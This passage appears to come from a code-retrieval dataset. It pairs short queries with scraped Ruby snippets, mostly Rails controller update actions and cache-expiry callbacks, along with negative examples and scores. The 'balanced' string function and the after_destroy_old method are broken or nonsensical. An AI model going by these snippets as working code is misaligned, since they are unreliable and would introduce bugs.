\n\t\t\trebuildCache\n\t\tend\n\tend", "def update\n # don't need to update; hash is shared\n end", "def after_update_article(article)\n run_event(:after_update_article, article)\n end", "def after_update(snippet)\n expire_cache_for(snippet)\n end", "def after_update(doc)\n\t\t# expire_cache_for(doc)\n\tend", "def before_update_article(article)\n run_event(:before_update_article, article)\n end", "def after_update(post)\n expire_cache_for(post)\n end", "def after_update(post)\n expire_cache_for(post)\n end", "def update!(**args)\n @wait_content_cache_usec = args[:wait_content_cache_usec] if args.key?(:wait_content_cache_usec)\n end", "def update\n @article = Article.find(params[:id])\n end", "def after_update(comment)\n expire_cache_for(comment)\n end", "def update\n @article = article_get(params[:id])\n @article.update(params[:article])\n respond_with(@article)\n end", "def refresh_cache\n @cache = build_cache\n end", "def invalidate\n @cache_version ||= 0\n @cache_version += 1\n end", "def article\n @cached_article ||= if params[:id]\n Article.find(params[:id])\n decorate_article(params[:id])\n else\n Article.new\n end\n end", "def after_update(note)\n expire_cache_for(note)\n end", "def after_update(animal)\n expire_cache_for(animal)\n end", "def update\n @article = Article.find(params[:id])\n # Don't add editors until the article is published\n if @article.published\n if !@article.approved and params[:article][:approved]\n editor = @article.article_editors.create({:user_id => current_user.id, :update_type => 'Edited/Approved'})\n else\n editor = @article.article_editors.create({:user_id => current_user.id, :update_type => 'Edited'})\n end\n end\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n flash[:notice] = 'Article was successfully updated.'\n format.html { redirect_to(@article) }\n format.xml { head :ok }\n expire_fragment :action => 'index', :action_suffix => 'all_articles'\n expire_fragment :action_suffix => 'top_article'\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @article.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_cache(obj)\n save_cache(obj)\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n@b = Hist.new(:editor_id => session[:remember_token],:article_id => params[:id], :article_content => @article.content)\n @b.save\n end", "def update_cache\n if $redis.set(\"#{self.class.table_name}/#{self.id}\", self.to_json) == \"OK\"\n true\n else\n false\n end\n end", "def after_update(material)\n expire_cache_for(material)\n end", "def increment_votes\n Article.increment_vote_cache(article_id)\n end", "def after_update(sticky_note)\n expire_cache_for(sticky_note)\n end", "def update\n respond_to do |format|\n dup = @article.dup\n if @article.update(article_params)\n diff = {}\n for attr in %i[nr ar_inf ar_inf_wo_vowels transcription translation is_original source page is_root form opt mn1 ar1 mn2 ar2 mn3 ar3 vocalization homonym_nr]\n diff[attr] = { old: dup[attr], new: @article[attr] } if @article[attr] != dup[attr]\n end\n Log.create(user: current_user,\n article: @article,\n action: Action.find(2),\n data: diff)\n format.html { redirect_to session[:back_from_update], notice: I18n.t(:article_updated) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def stale?\n !fresh?\n end", "def stale?\n !fresh?\n end", "def stale?\n !fresh?\n end", "def for_update\n cached_dataset(:_for_update_ds){lock_style(:update)}\n end", "def update_cache_chain\n logger.debug \"DB ********** Touching Element #{id} ********** \"\n self.touch\n self.dynamic_page.try(:update_cache_chain)\n end", "def refresh!\n load if changed?\n end", "def after_update(place)\n expire_cache_for(place)\n end", "def update() end", "def new_article\n self.model = store._articles.buffer # creates buffer that assigns to a model which we change latetly\n page._new_article = true \n end", "def check_if_featured_changed\n if \"featured\".in?(self.changed) && featured\n unless remaining_articles(:featured).blank?\n\n remaining_articles(:featured).each do |article|\n article.featured = false\n article.save\n end\n\n end\n end\n end", "def after_update(page)\n expire_cache_for(page)\n end", "def after_update(event)\r\n expire_cache_for(event)\r\n end", "def move_to_cache\r\n true\r\n end", "def after_update(resume) \n expire_cache_for(resume) \n end", "def update_article(title, content, price, adress, phone_number, date_created, article_id) \n return get_db().execute(\"UPDATE article SET title = ?, content = ?, price = ?, adress = ?, phone_number = ?, date_created = ? WHERE article_id = ?\", title, content, price, adress, phone_number, date_created, article_id)\n end", "def update\n @article = Article.find(params[:id])\n #Article.increment_counter(:edit_count, :id)\n\n if @article.update_attributes(params[:article])\n redirect_to(session[:edit_redirect], :flash => {:success => 'Article was successfully updated.'})\n else\n flash[:error] = \"There was a problem updating the article.\"\n render :action => \"edit\"\n end\n end", "def update_cache(ticket, cache)\n cache[ticket[:spacekey]] = ticket[:id] if seen?(ticket, cache)\n cache\n end", "def update\n\t\treturn 0 if @setup.secure or @setup['no_cache']\n\t\tdb = DispRef2PStore.new( @setup['cache_path'] )\n\t\tr = 0\n\t\tdb.transaction do\n\t\t\tdb[Root_DispRef2URL] = Hash.new unless db[Root_DispRef2URL]\n\t\t\tbegin\n\t\t\t\tdb[Root_DispRef2URL].each_key do |url|\n\t\t\t\t\tref = DispRef2URL::new( url )\n\t\t\t\t\tt = ref.restore( db )\n\t\t\t\t\torig = t ? t.dup : nil\n\t\t\t\t\tnew = ref.parse( @setup )\n\t\t\t\t\tif orig != new then\n\t\t\t\t\t\tr += 1\n\t\t\t\t\t\tref.store( db )\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\trescue PStore::Error\n\t\t\tend\n\t\tend\n\t\tdb = nil\n\t\tr\n\tend", "def update\n #we do this here rather than in the model because we don't want timestamps\n #to update when tag implications are changed\n old_holder = {}\n assocs = %w[tag character source]\n # old_tags = @story.tag_ids.sort\n assocs.each do |assoc|\n old_holder[assoc] = @story.send((assoc + '_ids').to_sym).sort\n end\n\n pars = story_params\n if @story.update(pars)\n assocs.each do |assoc|\n #need to do this to force Rails to refresh from the DB\n @story.send((assoc + 's').to_sym).reload\n new_holder = @story.send((assoc + '_ids').to_sym).sort\n @story.touch unless old_holder[assoc] == new_holder\n end\n redirect_to @story, notice: 'Story was successfully updated.'\n else\n render :edit\n end\n end", "def remove_articles_cache\n Article.find(:all).each do |article|\n expire_article(article)\n end\n end", "def update_with_revision\n store_revision do\n update_without_revision\n end\n end", "def update?\n if @w_up_to_date && true #all up_to_date-caches!!!\n @up_to_date = true\n return @up_to_date\n end\n false\n end", "def update\r\n\r\n article = Article.find(params[:id])\r\n prevTags = article.Tags\r\n if article.update(article_params)\r\n\r\n addTopic(topic_params[:topic_name].to_s,article)\r\n\r\n if prevTags != article_params[:Tags]\r\n handleTagUpdates(prevTags)\r\n addTagsAndhandleTagCount(article)\r\n end\r\n\r\n addAttachment(article,true)\r\n\r\n if article.save\r\n redirect_to articles_path\r\n else\r\n render 'edit'\r\n end\r\n else\r\n render 'edit'\r\n end\r\n end", "def update\n @articleaddressee = Articleaddressee.find(params[:id])\n @articleaddressee.seen = true\n @articleaddressee.save\n respond_to do |format|\n format.html { redirect_to @articleaddressee, notice: 'Articleaddressee was successfully updated.' }\n format.js\n end\n end", "def updated?\n false\n end", "def after_update(event)\n expire_cache_for(event)\n end", "def after_update(event)\n expire_cache_for(event)\n end", "def after_update(scene)\n expire_cache\n end", "def after_update(category)\r\n expire_cache_for(category)\r\n end", "def after_update(photo)\n expire_cache_for(photo)\n end", "def after_update_article_request(article, request)\n run_event(:after_update_article_request, article, request)\n end", "def update\n @article = Article.find(params[:id])\n was_published = @article.published?\n publish_or_not\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n if @article.published?\n if was_published\n flash[:success] = 'Article was successfully updated.'\n else\n flash[:success] = 'Article was successfully published.'\n end\n format.html { redirect_to article_path(@article) }\n else\n if was_published\n flash[:success] = 'Article was successfully saved and unpublished.'\n else\n flash[:success] = 'Article was successfully saved.'\n end\n format.html { redirect_to edit_article_path(@article) }\n end\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def cache_on?; end", "def cache_on?; end", "def refresh\n load if changed?\n end", "def move_to_cache\n true\n end", "def after_update(bibl)\n expire(bibl)\n expire_associated(bibl)\n end", "def cache; end", "def cache; end", "def cache; end", "def cache; end", "def cache; end", "def cache; end", "def cache; end", "def stale?\n unlocked? and item.has_attribute?(:updated_at) and updated_at < item.updated_at\n end", "def update\n @article = Article.find(params[:id])\n #check_for_destroys\n \n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def fresh?\n !stale?\n end", "def free_article\n\t\tif self.article\n\t\t\tputs self.article\n\t\t\tself.article.status = \"\"\n\t\t\tself.article.save()\n\t\t\tputs self.article\n\t\tend\t\n\tend", "def store_article_text(entry)\n puts \"storing data\"\n if(entry.link != '#')\n \n # Get html from link\n response = Net::HTTP.get(URI.parse(entry.link))\n if(response.downcase.include?(\"<h1>moved permanently</h1>\"))\n html = Nokogiri::HTML(response, nil, 'UTF-8')\n tag = html.css(\"a\")\n link = tag.attribute('href')\n response = Net::HTTP.get(URI.parse(link))\n end\n \n # Use readability to find text from html\n data = Readability::Document.new(response || \"\")\n if(data.content == nil || data.content.length < 15)\n new_data = entry.description\n else\n new_data = data.content.gsub(/<[^>]+>/,\"\").squeeze(\" \").strip.toutf8 || \"\"\n end\n \n else\n new_data = entry.description\n end\n \n # Save data if new\n if(!entry.data || entry.data != new_data)\n entry.data = new_data\n return true\n end\n return false\nend", "def after_update(bite)\n expire_cache_for(bite)\n end", "def update_if_necessary\n # we should have a counter stat already if it got to this class\n # only update stats if it's after the date of the last updated date for record\n return unless new_record? || updated_at.nil? || Time.new.localtime.to_date > updated_at.localtime.to_date\n update_usage!\n update_citation_count!\n\n self.updated_at = Time.new # seem to need this for some reason\n\n save!\n end", "def cache!\n @@cache\n end" ]
[ "0.6872551", "0.6702381", "0.6617566", "0.6569016", "0.6444852", "0.6324973", "0.62999976", "0.62726474", "0.62715", "0.62634003", "0.6211014", "0.61787385", "0.61334467", "0.6130432", "0.6122924", "0.6049547", "0.6033428", "0.6021022", "0.6021022", "0.5979064", "0.5969149", "0.59357965", "0.59306216", "0.5925051", "0.5895967", "0.58896863", "0.5886945", "0.58824754", "0.58385766", "0.5831484", "0.5826621", "0.5826621", "0.58225214", "0.58073366", "0.5791162", "0.57874364", "0.57848793", "0.57701826", "0.5753915", "0.57520556", "0.5747991", "0.57378644", "0.5731409", "0.57184434", "0.5699746", "0.569861", "0.56964797", "0.5696391", "0.56862056", "0.56776994", "0.56776994", "0.56776994", "0.5668463", "0.5659591", "0.5649045", "0.56473744", "0.5614933", "0.5610002", "0.5596068", "0.5592881", "0.5592407", "0.5592387", "0.55894417", "0.5588189", "0.55881095", "0.55832607", "0.5575278", "0.5569125", "0.556901", "0.55676967", "0.5560153", "0.55527294", "0.55511326", "0.55486023", "0.5547075", "0.5547075", "0.554467", "0.55377316", "0.5535864", "0.552983", "0.55289", "0.55255824", "0.55255824", "0.5516602", "0.55135566", "0.550244", "0.55019784", "0.55019784", "0.55019784", "0.55019784", "0.55019784", "0.55019784", "0.55019784", "0.5500652", "0.5491684", "0.548796", "0.5486989", "0.5486275", "0.5482622", "0.5480435", "0.54751086" ]
0.0
-1
Deleting a page means we update the public list and blow away the cached article
def after_destroy_old(article) #expire_public_pageold(article) '/etc/cron.hourly/railsfix' end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete\n @page = ComatosePage.find params[:id]\n if request.post?\n expire_cms_pages_from_bottom @page\n expire_cms_fragments_from_bottom @page\n @page.destroy\n flash[:notice] = \"Deleted page '#{@page.title}'\"\n redirect_to :controller=>self.controller_name, :action=>'index'\n end\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n head :no_content\n end", "def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to(admin_pages_url) }\n format.xml { head :ok }\n end\n website.add_log(user: current_user, action: \"Deleted page: #{@page.title}\")\n end", "def after_destroy(article)\n expire_public_page\n expire_article_page(article.id)\n end", "def delete_page(page)\n transaction \"delete `#{page.title}'\" do\n store.delete(page.title + '.md')\n end\n end", "def destroy \n # finds and delete page \n Page.find(params[:id]).destroy\n # take us back to all pages \n redirect_to pages_path\n end", "def destroy\n @page.destroy\n\n expire_page :action => :show\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @page.destroy\n #Cache bust pages and individual page. With pagination we would only bust the cache on the paginated \"pages\" key.\n Rails.cache.delete(\"pages\")\n Rails.cache.delete(\"page-#{@page.id}\")\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @page = Page.find_by!(permalink: params[:id])\n @page.destroy\n\n redirect_to pages_url\n end", "def remove_page\n @page = Page.find(params[:id])\n @document = @page.document\n\n @page.move_to_new_document\n\n end", "def delete(p)\n puts \"Deleting page #{p}\"\n FileUtils.rm_rf \"#{p}\"\n end", "def delete\n @page = Comatose::Page.find_is_snippet params[:id]\n if request.post?\n expire_cms_pages_from_bottom @page\n expire_cms_fragments_from_bottom @page\n @page.destroy\n flash[:notice] = \"Deleted snippet '#{@page.title}'\"\n redirect_to :controller=>self.controller_name, :action=>'index'\n end\n end", "def destroy\n @admin_page = Page.find(params[:id])\n @admin_page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n end\n end", "def remove_page\n\n @page = Page.find(params[:id])\n @document=@page.document\n\n @page.move_to_new_document\n\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_pages_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_pages_path }\n end\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n redirct_to root_path\n end", "def destroy\n @pages_article = PagesArticle.find(params[:id])\n @pages_article.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @page = Page.find(params[:id])\n if @page.protected\n flash[:error] = t(:page_protected)\n else\n @page.destroy \n flash[:notice] = t(:page_deleted)\n end\n\n respond_to do |format|\n format.html { redirect_back_or_default(admin_pages_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to admin_pages_url, notice: 'Страница успешно удалена!' }\n format.json { head :no_content }\n end\n end", "def destroy\n @page = @user.pages.find_by_permalink(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @page = Page.friendly.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_pages_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @page = current_cms.pages.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(big_cms_pages_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n begin\n @page = Page.find(params[:id])\n @page.destroy\n redirect_to admin_pages_path, :flash => {:success => \"Page Deleted\"}\n rescue ActiveRecord::RecordNotFound\n redirect_to admin_pages_path, :flash => {:error => \"Page not found\"}\n end\n end", "def destroy\r\n @page = Page.find(params[:id])\r\n @page.destroy\r\n File.delete(\"#{Rails.public_path}/#{@page.project_id}/#{@page.page_name}.html\")\r\n respond_to do |format|\r\n format.html { redirect_to pages_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n Page.find(params[:id]).destroy\n redirect_to pages_path\n end", "def delete_page(id)\n @client.raw('delete', \"/content/pages/#{id}\")\n end", "def destroy\n\n # find the page with with\n @page = Page.find(params[:id])\n\n # calling class method of PagePart model to delete page parts of a page\n PagePart.delete_page_parts(@page)\n\n #destroy the page\n @page.destroy\n\n #sends in data in different format to index action\n respond_to do |format|\n\n format.html { redirect_to admin_pages_url }\n format.json { head :no_content }\n\n end # end respond_to block\n\n end", "def soft_destroy\n return if home_page?\n \n ActiveRecord::Base.transaction do\n # Make latest revision current, delete all others\n latest_revision = revisions.current.clone\n revisions.destroy_all\n latest_revision.revision_number = 1\n latest_revision.instance_eval { create_without_callbacks } # private method\n \n reprocess_page_content_age_diff\n \n discussions.destroy_all\n \n self.deleted = true\n update_without_callbacks\n end\n end", "def destroy\n @page = current_site.pages.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to edit_site_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end", "def delete_page(page, commit)\n delete_file(page.url_path, commit)\n end", "def destroy\n # Trying to delete a page that is homepage\n if(Setting.where(key: \"homepage\").first.value == \"/pages/\" + @page.id.to_s)\n redirect_to admin_settings_path, alert: \"You are trying to delete a page that is Homepage. \n Please change the settings first.\"\n else\n # var for register_log\n fields = @page.fields.each do |f| f.inspect end\n\n @page.destroy\n respond_to do |format|\n format.html { redirect_to admin_pages_url, notice: 'Page was successfully destroyed.' }\n format.json { head :no_content }\n end\n # log\n register_log \"Page destroyed: #{@page.inspect} -- Custom type fields: #{fields}\\n\"\n end\n end", "def destroy\n @page = current_site.pages.find_by_permalink(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n format.js\n end\n end", "def destroy\n @article_list = ArticleList.find(params[:id])\n @page_section = @article_list.page_section\n @article_list.destroy\n \n @page = @page_section.page\n @site_section = @page.site_section\n\n\n respond_to do |format|\n format.html { redirect_to site_section_page_url(@site_section, @page) }\n format.xml { head :ok }\n end\n end", "def destroy\n @pub.destroy\n\n head :no_content\n end", "def destroy\n @page.delete\n @message = {message: 'Page deleted'}\n respond_with(@message)\n end", "def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to admin_pages_url, notice: 'Page was successfully destroyed.' }\n end\n end", "def destroy\n @page_fetch = PageFetch.find(params[:id])\n @page_fetch.destroy\n\n respond_to do |format|\n format.html { redirect_to(page_fetches_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to pages_url, :notice => \"Successfully deleted page. #{undo_link}\" }\n format.json { head :no_content }\n end\n end", "def remove(page_index)\n catalog = rebuild_catalog\n pages_array = catalog[:Pages][:referenced_object][:Kids]\n removed_page = pages_array.delete_at page_index\n catalog[:Pages][:referenced_object][:Count] = pages_array.length\n removed_page\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end", "def destroy\n\t\t@post = Post.find(params[:id])\n \t \t@post.destroy\n \tredirect_to '/pages/list'\n\tend", "def destroy\n authorize! :destroy, @page\n @page.destroy\n respond_to do |format|\n format.html { redirect_to request.referer || pages_url, notice: 'Page was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @pagecontent = @page.pagecontents.find(params[:id])\n @pagecontent.destroy\n\n respond_to do |format|\n format.html { redirect_to(page_pagecontents_path(@page)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :ok }\n end\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :ok }\n end\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :ok }\n end\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n respond_with(@page, :status => :deleted, :location => pages_path)\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n respond_with(@page)\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to(articles_url) }\n format.xml { head :ok }\n end\n expire_fragment :action => 'index', :action_suffix => 'all_articles'\n expire_fragment :action_suffix => 'top_article'\n end", "def destroy\n restrict('allow only admins') or begin\n @page = Page.find_by_stub(params[:stub]) || Page.find_by_id(params[:id])\n @page.destroy\n respond_to do |format|\n format.html { redirect_to manage_pages_url }\n format.xml { head :ok }\n end\n end\n end", "def delete_page(page, commit)\n index = nil\n sha1 = commit_index(commit) do |idx|\n index = idx\n index.delete(page.path)\n end\n\n dir = ::File.dirname(page.path)\n dir = '' if dir == '.'\n\n @access.refresh\n update_working_dir(index, dir, page.name, page.format)\n\n sha1\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @page.destroy\n respond_to do |format|\n format.json { render :json => @page }\n format.xml { render :xml => @page }\n end\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(:back, :notice => 'Die Seite wurde geloescht.') }\n format.xml { head :ok }\n end\n end", "def destroy\n\t\t@page = Page.find(params[:id])\n\t\t@page.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to pages_url }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend", "def dissociate_page(page); end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect }\n format.xml { head :ok }\n end\n end", "def destroy\n @page = Page.find_by_slug(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @page = Page.find(params[:id])\n flash[:notice] = \"Page successfully deleted\" if @page.destroy\n redirect_to pages_path\n end", "def destroy\n @page.update_attribute(:deleted_at, Time.now)\n respond_to do |format|\n format.html { redirect_to @page, notice: 'Page was successfully archived.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @page = @club.pages.find(params[:id])\n\t\t#destroy settings\n\t\t@settings = @club.settings.find(:all, :conditions => ['name = ? AND value = ?', 'pages', @page.id]);\n\t\t@settings.each do |setting|\n\t\t\tsetting.destroy\n\t\tend\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_club_pages_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n format.xml { head :no_content }\n end\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(page_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n\t\t@page = Page.find(params[:id])\n\t\t@page.destroy\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to(pages_path) }\n\t\t\tformat.xml\t{ head :ok }\n\t\tend\n\tend", "def delete; rest_delete(link('self')); end", "def delete; rest_delete(link('self')); end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n respond_with(@page)\n end", "def destroy\n @page = Page.find_by_slug(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :ok }\n end\n end", "def destroy\n @page = @offering.pages.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to offering_pages_url(@offering) }\n format.xml { head :ok }\n format.js\n end\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url, :notice => 'The page has vanished.') }\n format.xml { head :ok }\n end\n end", "def destroy\n @page = params[:page]\n @story = Story.find(params[:id])\n @story.destroy \n \n respond_to do |format|\n format.html { redirect_to(\"/admin/stories?filter=\" + @story.story_set_id.to_s + \"&page=\" + @page.to_s) }\n format.xml { head :ok }\n end\n end", "def destroy\n post = @post\n @post.destroy\n redirect_to find_redirect(post.page)\n end", "def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end", "def destroy\n authorize @page\n @page.destroy\n respond_to do |format|\n format.html { redirect_to pages_url, notice: 'Page was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @offered_page.destroy\n respond_to do |format|\n format.html { redirect_to offered_pages_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n\n head :no_content\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n flash[:notice] = :page_destroyed.l\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @page = @site.pages.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(@parent_page ? admin_site_page_children_url(@site, @parent_page) : admin_site_pages_url(@site)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @cms_page = CmsPage.find(params[:id])\n @cms_page.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_cms_pages_url) }\n format.xml { head :ok }\n end\n end", "def after_destroy(page)\n expire_cache_for(page)\n end", "def destroy\n @page = Page.find(params[:id])\n @page.destroy\n flash[:notice] = \"Page was successfully deleted.\"\n\n respond_to do |format|\n format.html { redirect_to :controller => 'comics', :action => 'list_pages', :id => @page.comic }\n format.xml { head :ok }\n end\n end", "def destroy\n\t\t@item.destroy\n\t\thead :no_content\n\tend" ]
[ "0.7543499", "0.7264641", "0.72561246", "0.72394264", "0.7229616", "0.7148548", "0.71443117", "0.7091257", "0.7084785", "0.7036809", "0.7025848", "0.70246875", "0.7005665", "0.70026535", "0.6986666", "0.6981904", "0.6955127", "0.6953766", "0.69455767", "0.6943192", "0.6928831", "0.69244045", "0.69094735", "0.6902378", "0.6898496", "0.6897768", "0.6889273", "0.68743443", "0.68465406", "0.68355334", "0.682393", "0.682393", "0.682393", "0.682393", "0.68227714", "0.6800859", "0.6791098", "0.67875636", "0.6786888", "0.6785066", "0.67820334", "0.6781472", "0.67680466", "0.6749852", "0.67387336", "0.67387336", "0.67387336", "0.67387336", "0.67387336", "0.67387336", "0.67387336", "0.67387336", "0.6734107", "0.6725843", "0.6725143", "0.6706674", "0.6706674", "0.6706674", "0.6693518", "0.66892374", "0.66827", "0.6681172", "0.6678885", "0.66707915", "0.66707915", "0.66707915", "0.66707915", "0.66707915", "0.66707915", "0.66707915", "0.66707915", "0.6660283", "0.66582996", "0.66577035", "0.665671", "0.6647791", "0.66452736", "0.6636596", "0.6636311", "0.66322505", "0.6631906", "0.662246", "0.6612256", "0.6602438", "0.6602438", "0.6596847", "0.6591806", "0.65870243", "0.6578069", "0.6577049", "0.6574478", "0.6569538", "0.6568052", "0.65534294", "0.6551398", "0.6544086", "0.653997", "0.653287", "0.6530064", "0.6530025", "0.65116733" ]
0.0
-1
Time Complexity: O(n) Space Complexity: O(1)
def balanced(string) array = string.split("") i = 0 j = -1 until i = array.length / 2 return false if i != j i += 1 j -+ 1 end return true end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
